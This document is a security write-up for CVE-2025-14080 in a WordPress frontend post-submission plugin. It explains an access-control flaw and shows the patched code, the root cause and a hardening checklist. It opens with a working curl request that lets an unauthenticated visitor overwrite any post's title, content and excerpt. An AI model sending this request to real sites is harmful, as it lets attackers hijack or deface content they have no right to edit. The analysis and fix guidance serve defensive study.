The Exploit
Unauthenticated attackers can submit post_id via the guest posting AJAX action and overwrite any post.
curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'action=fpsml_form_process&post_id=123&post_title=owned+title&post_content=owned+content&post_excerpt=owned+excerpt'
The request lands on the plugin’s fpsml_form_process handler and returns a normal success response instead of rejecting it. The targeted post with ID 123 is updated, changing title/content/excerpt and allowing the attacker to effectively hijack arbitrary content via the guest form.
What the Patch Did
Before:
$post_id = (!empty( $form_data['post_id'] )) ? intval( $form_data['post_id'] ) : 0;
$post_title = (!empty( $form_data['post_title'] )) ? $form_data['post_title'] : '';
$post_content = (!empty( $form_data['post_content'] )) ? $form_data['post_content'] : '';
After:
if (is_user_logged_in()) {
$post_id = (!empty($form_data['post_id'])) ? intval($form_data['post_id']) : 0;
if (!empty($post_id)) {
if (!current_user_can('edit_post', $post_id)) {
$response['status'] = 403;
$response['message'] = esc_html__('Unauthorized', 'frontend-post-submission-manager-lite');
die(json_encode($response));
}
}
} else {
if (!empty($form_data['post_id'])) {
$response['status'] = 403;
$response['message'] = esc_html__('Unauthorized', 'frontend-post-submission-manager-lite');
die(json_encode($response));
}
}
The patch added a WordPress capability check with current_user_can('edit_post', $post_id) and an unauthenticated denial path using is_user_logged_in(). That prevents guest requests from supplying post_id and prevents logged-in users from editing posts they do not have permission to edit.
Root Cause
This is a Broken Access Control / Insecure Direct Object Reference vulnerability (CWE-639). The attacker-controlled POST parameter post_id enters the fpsml_form_process AJAX handler and is converted to an integer. That value is then used to update an existing post without checking whether the requester is authenticated or authorized to edit that specific post. The trust boundary between the public guest posting form and the post-editing logic was crossed unchecked.
Why It Works
The load-bearing line is the current_user_can('edit_post', $post_id) check. Without that capability check, the plugin accepts any post_id supplied by the request and proceeds to modify the referenced post. The is_user_logged_in() branch is also necessary to stop unauthenticated users from submitting a post_id, but the actual authorization decision for existing posts comes from current_user_can(). The remaining lines support the guard: if (!empty($post_id)) scopes the capability check to updates only, and the die(json_encode($response)) exits early on unauthorized access.
Hardening Checklist
- Use
current_user_can('edit_post', $post_id)before updating any post from an AJAX handler. - Block guest edits entirely with
is_user_logged_in()when the endpoint is supposed to update existing content. - Add
check_ajax_referer()/wp_verify_nonce()to AJAX entry points that mutate data. - Validate numeric post IDs with
intval()and confirm existence withget_post($post_id)before applying changes. - Separate guest submission endpoints from post-editing endpoints so
post_idis never trusted in a public form handler.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14080